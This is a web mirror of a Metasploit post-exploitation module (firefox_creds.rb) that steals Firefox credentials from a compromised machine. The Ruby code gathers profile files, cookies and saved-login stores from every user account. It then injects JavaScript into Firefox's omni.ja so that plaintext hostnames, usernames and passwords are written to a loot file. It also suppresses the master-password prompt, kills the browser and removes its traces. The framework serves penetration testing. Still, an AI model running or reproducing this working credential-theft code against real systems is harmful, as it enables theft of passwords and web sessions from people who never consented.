Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/firefox_creds.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'tmpdir'
7
require 'zip'
8
9
class MetasploitModule < Msf::Post
10
include Msf::Post::File
11
include Msf::Auxiliary::Report
12
include Msf::Post::Windows::UserProfiles
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Multi Gather Firefox Signon Credential Collection',
19
'Description' => %q{
20
This module will collect credentials from the Firefox web browser if it is
21
installed on the targeted machine. Additionally, cookies are downloaded. Which
22
could potentially yield valid web sessions.
23
24
Firefox stores passwords within the signons.sqlite database file. There is also a
25
keys3.db file which contains the key for decrypting these passwords. In cases where
26
a Master Password has not been set, the passwords can easily be decrypted using
27
3rd party tools or by setting the DECRYPT option to true. Using the latter often
28
needs root privileges. Also be warned that if your session dies in the middle of the
29
file renaming process, this could leave Firefox in a non working state. If a
30
Master Password was used the only option would be to bruteforce.
31
32
Useful 3rd party tools:
33
+ firefox_decrypt (https://github.com/Unode/firefox_decrypt)
34
+ pswRecovery4Moz (https://github.com/philsmd/pswRecovery4Moz)
35
},
36
'License' => MSF_LICENSE,
37
'Author' => [
38
'bannedit',
39
'xard4s', # added decryption support
40
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
41
],
42
'Platform' => %w[bsd linux osx unix win],
43
'SessionTypes' => ['meterpreter', 'shell' ],
44
'Compat' => {
45
'Meterpreter' => {
46
'Commands' => %w[
47
core_channel_close
48
core_channel_eof
49
core_channel_open
50
core_channel_read
51
core_channel_tell
52
core_channel_write
53
stdapi_fs_stat
54
stdapi_sys_config_getenv
55
stdapi_sys_config_getuid
56
stdapi_sys_process_get_processes
57
stdapi_sys_process_kill
58
]
59
}
60
},
61
'Notes' => {
62
'Stability' => [CRASH_SAFE],
63
'SideEffects' => [],
64
'Reliability' => []
65
}
66
)
67
)
68
69
register_options([
70
OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
71
])
72
73
register_advanced_options([
74
OptInt.new('DOWNLOAD_TIMEOUT', [true, 'Timeout to wait when downloading files through shell sessions', 20]),
75
OptBool.new('DISCLAIMER', [false, 'Acknowledge the DECRYPT warning', false]),
76
OptBool.new('RECOVER', [false, 'Attempt to recover from bad DECRYPT when possible', false])
77
])
78
end
79
80
def run
81
# Certain shells for certain platform
82
vprint_status('Determining session platform and type')
83
case session.platform
84
when 'unix', 'linux', 'bsd'
85
@platform = :unix
86
when 'osx'
87
@platform = :osx
88
when 'windows'
89
if session.type != 'meterpreter'
90
print_error 'Only meterpreter sessions are supported on Windows hosts'
91
return
92
end
93
@platform = :windows
94
else
95
print_error("Unsupported platform: #{session.platform}")
96
return
97
end
98
99
if datastore['DECRYPT']
100
do_decrypt
101
else # Non DECRYPT
102
paths = enum_users
103
104
if paths.nil? || paths.empty?
105
print_error('No users found with a Firefox directory')
106
return
107
end
108
109
download_loot(paths.flatten)
110
end
111
end
112
113
def do_decrypt
114
unless datastore['DISCLAIMER']
115
decrypt_disclaimer
116
return
117
end
118
119
omnija = nil # non meterpreter download
120
org_file = 'omni.ja' # key file
121
new_file = Rex::Text.rand_text_alpha(5..7) + '.ja'
122
temp_file = 'orgomni.ja' # backup of key file
123
124
# Sets @paths
125
return unless decrypt_get_env
126
127
# Check target for the necessary files
128
if session.type == 'meterpreter'
129
if session.fs.file.exist?(@paths['ff'] + temp_file) && !session.fs.file.exist?(@paths['ff'] + org_file)
130
print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.")
131
return
132
elsif session.fs.file.exist?(@paths['ff'] + temp_file)
133
decrypt_file_stats(temp_file, org_file, @paths['ff'])
134
if datastore['RECOVER']
135
return unless decrypt_recover_omni(temp_file, org_file)
136
else
137
print_warning('If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.')
138
return
139
end
140
elsif !session.fs.file.exist?(@paths['ff'] + org_file)
141
print_error("Could not download #{org_file}. File does not exist.")
142
return
143
end
144
end
145
146
session.type == 'meterpreter' ? (size = format('(%s MB)', '%0.2f') % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = '')
147
tmp = Dir.tmpdir + '/' + new_file # Cross platform local tempdir, "/" should work on Windows too
148
print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size)
149
150
if session.type == 'meterpreter' # If meterpreter is an option, lets use it!
151
session.fs.file.download_file(tmp, @paths['ff'] + org_file)
152
else # Fall back shells
153
omnija = read_file(@paths['ff'] + org_file)
154
if omnija.nil? || omnija.empty? || omnija =~ (/No such file/i)
155
print_error("Could not download: #{@paths['ff'] + org_file}")
156
print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != 'meterpreter'
157
return
158
end
159
160
print_status("Saving #{org_file} to: #{tmp}")
161
file_local_write(tmp, omnija)
162
end
163
164
res = nil
165
print_status("Injecting into: #{tmp}")
166
begin
167
# Automatically commits the changes made to the zip archive when the block terminates
168
Zip::File.open(tmp) do |zip_file|
169
res = decrypt_modify_omnija(zip_file)
170
end
171
rescue Zip::Error
172
print_error("Error modifying: #{tmp}")
173
return
174
end
175
176
if res
177
vprint_good("Successfully modified: #{tmp}")
178
else
179
print_error('Failed to inject')
180
return
181
end
182
183
print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")
184
print_warning('This may take some time...') if %i[unix osx].include?(@platform)
185
186
if session.type == 'meterpreter'
187
session.fs.file.upload_file(@paths['ff'] + new_file, tmp)
188
else
189
unless upload_file(@paths['ff'] + new_file, tmp)
190
print_error("Could not upload: #{tmp}")
191
return
192
end
193
end
194
195
return unless decrypt_trigger_decrypt(org_file, new_file, temp_file)
196
197
decrypt_download_creds
198
end
199
200
def decrypt_disclaimer
201
print_line
202
print_warning('Decrypting the keys causes the remote Firefox process to be killed.')
203
print_warning('If the user is paying attention, this could make them suspicious.')
204
print_warning('In order to proceed, set the advanced option, DISCLAIMER, to TRUE.')
205
print_line
206
end
207
208
def decrypt_file_stats(temp_file, org_file, _path)
209
print_line
210
print_error("Detected #{temp_file} already on the target. This could possible a possible backup of the original #{org_file} from a bad DECRYPT attack.")
211
print_status("Size: #{session.fs.file.stat(@paths['ff'] + org_file).size}B (#{org_file})")
212
print_status("Size: #{session.fs.file.stat(@paths['ff'] + temp_file).size}B (#{temp_file})")
213
print_status("#{org_file} : Created- #{session.fs.file.stat(@paths['ff'] + org_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + org_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + org_file).mtime}")
214
print_status("#{temp_file}: Created- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + temp_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime}")
215
print_line
216
end
217
218
def decrypt_recover_omni(temp_file, org_file)
219
print_status("Restoring: #{@paths['ff'] + temp_file} (Possible backup)")
220
file_rm(@paths['ff'] + org_file)
221
rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file)
222
223
if session.type == 'meterpreter'
224
print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exist?(@paths['ff'] + temp_file)
225
226
unless session.fs.file.exist?(@paths['ff'] + org_file)
227
print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")
228
return false
229
end
230
end
231
232
true
233
end
234
235
def enum_users
236
paths = []
237
id = whoami
238
239
if id.nil? || id.empty?
240
print_error("Session #{datastore['SESSION']} is not responding")
241
return
242
end
243
244
if @platform == :windows
245
vprint_status('Searching every possible account on the target system')
246
grab_user_profiles.each do |user|
247
next if user['AppData'].nil?
248
249
dir = check_firefox_win(user['AppData'])
250
paths << dir if dir
251
end
252
else # unix, bsd, linux, osx
253
@platform == :osx ? (home = '/Users/') : (home = '/home/')
254
255
if got_root
256
vprint_status('Detected ROOT privileges. Searching every account on the target system.')
257
userdirs = "/root\n"
258
userdirs << cmd_exec("find #{home} -maxdepth 1 -mindepth 1 -type d 2>/dev/null")
259
else
260
vprint_status("Checking #{id}'s Firefox account")
261
userdirs = "#{home + id}\n"
262
end
263
264
userdirs.each_line do |dir|
265
dir.chomp!
266
next if (dir == '.') || (dir == '..') || dir =~ (/No such file/i)
267
268
@platform == :osx ? (basepath = "#{dir}/Library/Application Support/Firefox/Profiles") : (basepath = "#{dir}/.mozilla/firefox")
269
270
print_status("Checking for Firefox profile in: #{basepath}")
271
checkpath = cmd_exec('find ' + basepath.gsub(/ /, '\\ ') + ' -maxdepth 1 -mindepth 1 -type d 2>/dev/null')
272
273
checkpath.each_line do |ffpath|
274
ffpath.chomp!
275
if ffpath =~ /\.default(?:-release)?$/
276
vprint_good("Found profile: #{ffpath}")
277
paths << ffpath.to_s
278
end
279
end
280
end
281
end
282
return paths
283
end
284
285
def check_firefox_win(path)
286
paths = []
287
ffpath = []
288
path += '\\Mozilla\\'
289
print_status("Checking for Firefox profile in: #{path}")
290
291
stat = begin
292
session.fs.file.stat(path + 'Firefox\\profiles.ini')
293
rescue StandardError
294
nil
295
end
296
if !stat
297
print_error('Firefox was not found (Missing profiles.ini)')
298
return
299
end
300
301
session.fs.dir.foreach(path) do |fdir|
302
# print_status("Found a Firefox directory: #{path + fdir}")
303
ffpath << path + fdir
304
break
305
end
306
307
if ffpath.empty?
308
print_error('Firefox was not found')
309
return
310
end
311
312
# print_status("Locating Firefox profiles")
313
path << 'Firefox\\Profiles\\'
314
315
# We should only have profiles in the Profiles directory store them all
316
begin
317
session.fs.dir.foreach(path) do |pdirs|
318
next if (pdirs == '.') || (pdirs == '..')
319
320
vprint_good("Found profile: #{path + pdirs}")
321
paths << path + pdirs
322
end
323
rescue StandardError
324
print_error('Profiles directory is missing')
325
return
326
end
327
328
paths.empty? ? nil : paths
329
end
330
331
def download_loot(paths)
332
loot = ''
333
print_line
334
335
paths.each do |path|
336
print_status("Profile: #{path}")
337
338
# win: C:\Users\administrator\AppData\Roaming\Mozilla\Firefox\Profiles\tsnwjx4g.default
339
# linux: /root/.mozilla/firefox/tsnwjx4g.default (iceweasel)
340
# osx: /Users/mbp/Library/Application Support/Firefox/Profiles/tsnwjx4g.default
341
profile = path.scan(%r{Profiles[\\|/](.+)\.(.+)$}).flatten[0].to_s
342
profile = path.scan(%r{firefox[\\|/](.+)\.(.+)$}).flatten[0].to_s if profile.empty?
343
344
session.type == 'meterpreter' ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec('find ' + path.gsub(/ /, '\\ ') + ' -maxdepth 1 -mindepth 1 -type f 2>/dev/null').gsub(%r{.*/}, '').split("\n"))
345
346
files.each do |file|
347
file.chomp!
348
next unless file =~ (/^key\d\.db$/) || file =~ (/^cert\d\.db$/) || file =~ (/^signons.sqlite$/i) || file =~ (/^cookies\.sqlite$/) || file =~ (/^logins\.json$/)
349
350
ext = file.split('.')[2]
351
ext == 'txt' ? (mime = 'plain') : (mime = 'binary')
352
vprint_status("Downloading: #{file}")
353
if @platform == :windows
354
p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, "firefox_#{file}")
355
session.fs.file.download_file(p, path + '\\' + file)
356
print_good("Downloaded #{file}: #{p}")
357
else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
358
loot = cmd_exec("cat #{path}//#{file}", nil, datastore['DOWNLOAD_TIMEOUT'])
359
if loot.nil? || loot.empty?
360
print_error("Failed to download #{file}, if the file is very long, try increasing DOWNLOAD_TIMEOUT")
361
else
362
p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
363
print_good("Downloaded #{file}: #{p}")
364
end
365
end
366
end
367
print_line
368
end
369
end
370
371
# Checks for needed privileges and if Firefox is installed
372
def decrypt_get_env
373
@paths = {}
374
check_paths = []
375
loot_file = Rex::Text.rand_text_alpha(6) + '.txt'
376
377
case @platform
378
when :windows
379
version = get_version_info
380
unless got_root || version.xp_or_2003?
381
print_warning('You may need SYSTEM privileges on this platform for the DECRYPT option to work')
382
end
383
384
env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive')
385
tmpdir = env_vars['TEMP'] + '\\'
386
drive = env_vars['SystemDrive']
387
388
# This way allows for more independent use of meterpreter payload (32 and 64 bit) and cleaner code
389
check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
390
check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
391
when :unix
392
unless got_root
393
print_error('You need ROOT privileges on this platform for DECRYPT option')
394
return false
395
end
396
# Unix matches linux|unix|bsd but BSD is not supported
397
if session.platform =~ /bsd/
398
print_error('Sorry, BSD is not supported by the DECRYPT option')
399
return false
400
end
401
402
tmpdir = '/tmp/'
403
404
check_paths << '/usr/lib/firefox/'
405
check_paths << '/usr/lib64/firefox/'
406
check_paths << '/usr/lib/iceweasel/'
407
check_paths << '/usr/lib64/iceweasel/'
408
when :osx
409
tmpdir = '/tmp/'
410
check_paths << '/applications/firefox.app/contents/macos/'
411
end
412
413
@paths['ff'] = check_paths.find do |p|
414
check = p.sub(%r{(\\|/)(mozilla\s)?firefox.*}i, '')
415
vprint_status("Checking for Firefox directory in: #{check}")
416
if directory?(p.sub(%r{(\\|/)$}, ''))
417
print_good("Found Firefox directory: #{check}")
418
true
419
else
420
false
421
end
422
end
423
424
if @paths['ff'].nil?
425
print_error('No Firefox directory found')
426
return false
427
end
428
429
@paths['loot'] = tmpdir + loot_file
430
431
true
432
end
433
434
def decrypt_modify_omnija(zip)
435
# Which files to extract from ja/zip
436
files = [
437
'components/storage-mozStorage.js', # stor_js
438
'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul
439
'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul
440
'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
441
]
442
443
# Extract files from zip
444
arya = files.map do |omnija_file|
445
fdata = {}
446
begin
447
fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/
448
fdata['outs'] = zip.get_output_stream(omnija_file)
449
rescue StandardError
450
print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")
451
print_error('This could be due to a corrupt download or a unsupported Firefox/Iceweasel version')
452
break
453
end
454
fdata
455
end
456
457
# Read contents of array (arya)
458
stor_js, pwd_xul, dlog_xul, res_js = arya
459
stor_js['outs_res'] = res_js['outs']
460
461
# Insert payload (close after starting up - allowing evil js to run and nothing else)
462
wnd_close = 'window.close();'
463
onload = "Startup(); SignonsStartup(); #{wnd_close}"
464
465
# Patch commonDialog.xul - Get rid of (possible) master password prompt
466
dlog_xul['content'].sub!(/commonDialogOnLoad\(\);/, wnd_close)
467
dlog_xul['outs'].write(dlog_xul['content'])
468
dlog_xul['outs'].close
469
vprint_good('[1/2] XUL injected - commonDialog.xul')
470
471
# Patch passwordManager.xul - Close password manager immediately
472
pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)
473
pwd_xul['outs'].write(pwd_xul['content'])
474
pwd_xul['outs'].close
475
vprint_good('[2/2] XUL injected - passwordManager.xul')
476
477
# Patch ./components/storage-mozStorage.js - returns true or false
478
return decrypt_patch_method(stor_js)
479
end
480
481
# Patches getAllLogins() methods in ./components/storage-mozStorage.js
482
def decrypt_patch_method(stor_js)
483
data = ''
484
# Imports needed for IO
485
imports = %|Components.utils.import("resource://gre/modules/NetUtil.jsm");
486
Components.utils.import("resource://gre/modules/FileUtils.jsm");
487
Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
488
|
489
490
# Javascript code to intercept the logins array and write the credentials to a file
491
method_epilog = %|
492
var data = "";
493
var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";
494
var file = new FileUtils.File(path);
495
496
var outstream = FileUtils.openSafeFileOutputStream(file);
497
var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
498
createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
499
converter.charset = "UTF-8";
500
501
if (logins.length != 0) {
502
for (var i = 0; i < logins.length; i++) {
503
data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";
504
}
505
} else {
506
data = "no creds";
507
}
508
509
var istream = converter.convertToInputStream(data);
510
NetUtil.asyncCopy(istream, outstream);
511
512
return logins;
513
|
514
515
regex = [
516
nil, # dirty hack alert
517
[/return\slogins;/, method_epilog],
518
[%r{Components\.utils\.import\("resource://gre/modules/XPCOMUtils\.jsm"\);}, imports]
519
]
520
521
# Match the last two regular expressions
522
i = 2 # ...this is todo with the nil in the above regex array & regex command below
523
x = i
524
stor_js['content'].each_line do |line|
525
# There is no real substitution if the matching regex has no corresponding patch code
526
if i != 0 && line.sub!(regex[i][0]) do |_match|
527
if regex[i][1]
528
vprint_good("[#{x - i + 1}/#{x}] Javascript injected - ./components/storage-mozStorage.js")
529
regex[i][1]
530
end
531
end
532
i -= 1
533
end
534
data << line
535
end
536
537
# Write the same data to both output streams
538
stor_js['outs'].write(data)
539
stor_js['outs_res'].write(data)
540
stor_js['outs'].close
541
stor_js['outs_res'].close
542
543
i == 0
544
end
545
546
# Starts a new Firefox process and triggers decryption
547
def decrypt_trigger_decrypt(org_file, new_file, temp_file)
548
[org_file, new_file, temp_file].each do |f|
549
f.insert(0, @paths['ff'])
550
end
551
552
# Firefox command line arguments
553
args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'
554
555
# In case of unix-like platform Firefox needs to start under user context
556
case @platform
557
when :unix
558
# Assuming userdir /home/(x) = user
559
print_status('Enumerating users')
560
homedirs = cmd_exec('find /home -maxdepth 1 -mindepth 1 -type d 2>/dev/null').gsub(%r{.*/}, '')
561
if homedirs.nil? || homedirs.empty?
562
print_error('No normal user found')
563
return false
564
end
565
user = nil
566
# Skip home directories which contain a space, as those are likely not usernames...
567
homedirs.each_line do |homedir|
568
user = homedir.chomp
569
break unless user.index(' ')
570
end
571
572
# Since we can't access the display environment variable we have to assume the default value
573
args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
574
args << '"'
575
cmd = "su #{user} -c"
576
when :windows, :osx
577
cmd = @paths['ff'] + 'firefox'
578
# On OSX, run in background
579
args << '& sleep 5 && killall firefox' if @platform == :osx
580
end
581
582
# Check if Firefox is running and kill it
583
if session.type == 'meterpreter'
584
session.sys.process.each_process do |p|
585
next unless p['name'] =~ /firefox\.exe/
586
587
print_status('Found running Firefox process, attempting to kill.')
588
unless session.sys.process.kill(p['pid'])
589
print_error('Could not kill Firefox process')
590
return false
591
end
592
end
593
else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
594
p = cmd_exec('ps', 'cax | grep firefox')
595
if p =~ /firefox/
596
print_status('Found running Firefox process, attempting to kill.')
597
term = cmd_exec('killall', 'firefox && echo true')
598
if term !~ /true/
599
print_error('Could not kill Firefox process')
600
return false
601
end
602
end
603
end
604
sleep(1)
605
606
#
607
# Rename-fu:
608
# omni.ja (original) -> orgomni.ja (original_backup)
609
# *random*.ja (evil) -> omni.ja (original)
610
# ...start & close Firefox...
611
# omni.ja (evil) -> *random*.ja (pointless temp file)
612
# orgomni.ja (original_backup) -> omni.ja (original)
613
#
614
vprint_status('Renaming .JA files')
615
rename_file(org_file, temp_file)
616
rename_file(new_file, org_file)
617
618
# Automatic termination (window.close() - injected XUL or firefox cmd arguments)
619
print_status("Starting Firefox process to get #{whoami}'s credentials")
620
cmd_exec(cmd, args)
621
sleep(1)
622
623
# Lets just check theres something before going forward
624
if session.type == 'meterpreter'
625
i = 20
626
vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") unless session.fs.file.exist?(@paths['loot'])
627
until session.fs.file.exist?(@paths['loot'])
628
sleep 1
629
i -= 1
630
break if i == 0
631
end
632
print_error('Missing loot file. Something went wrong.') unless session.fs.file.exist?(@paths['loot'])
633
end
634
635
print_status("Restoring original .JA: #{temp_file}")
636
rename_file(org_file, new_file)
637
rename_file(temp_file, org_file)
638
639
# Clean up
640
vprint_status("Cleaning up: #{new_file}")
641
file_rm(new_file)
642
if session.type == 'meterpreter'
643
if session.fs.file.exist?(temp_file)
644
print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
645
end
646
unless session.fs.file.exist?(org_file)
647
print_error("Unable to find #{org_file} on target. Something went wrong.")
648
end
649
end
650
651
# At this time, there should have a loot file
652
if session.type == 'meterpreter' && !session.fs.file.exist?(@paths['loot'])
653
print_error('DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.')
654
# Another issue is encoding. The files may be seen as 'data' rather than 'ascii'
655
print_error('Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)') if session.type != 'meterpreter'
656
return false
657
end
658
659
true
660
end
661
662
def decrypt_download_creds
663
print_good("Downloading loot: #{@paths['loot']}")
664
loot = read_file(@paths['loot'])
665
666
if loot =~ /no creds/
667
print_status('No Firefox credentials where found')
668
return
669
end
670
671
# Better delete the remote creds file
672
vprint_status("Cleaning up: #{@paths['loot']}")
673
file_rm(@paths['loot'])
674
675
# Create table to store
676
cred_table = Rex::Text::Table.new(
677
'Header' => 'Firefox Credentials',
678
'Indent' => 1,
679
'Columns' =>
680
[
681
'Hostname',
682
'User',
683
'Password'
684
]
685
)
686
687
creds = loot.split('^')
688
creds.each do |cred|
689
hostname, user, pass = cred.rstrip.split(' :: ')
690
cred_table << [hostname, user, pass]
691
692
# Creds API
693
service_data = {
694
workspace_id: myworkspace_id
695
}
696
697
credential_data = {
698
origin_type: :session,
699
session_id: session_db_id,
700
post_reference_name: refname,
701
smodule_fullname: fullname,
702
username: user,
703
private_data: pass,
704
private_type: :password
705
}.merge(service_data)
706
707
create_credential(credential_data)
708
end
709
710
# Create local loot csv file
711
path = store_loot(
712
'firefox.creds',
713
'text/plain',
714
session,
715
cred_table.to_csv,
716
'firefox_credentials.txt',
717
'Firefox Credentials'
718
)
719
vprint_good("Saved loot: #{path}")
720
721
# Display out
722
vprint_line("\n" + cred_table.to_s)
723
end
724
725
def got_root
726
case @platform
727
when :windows
728
session.sys.config.getuid =~ /SYSTEM/ ? true : false
729
else # unix, bsd, linux, osx
730
id_output = cmd_exec('id').chomp
731
if id_output.blank?
732
# try an absolute path
733
id_output = cmd_exec('/usr/bin/id').chomp
734
end
735
id_output.include?('uid=0(') ? true : false
736
end
737
end
738
739
def whoami
740
if @platform == :windows
741
id = session.sys.config.getenv('USERNAME')
742
else
743
id = cmd_exec('id -un')
744
end
745
746
id
747
end
748
end
749
750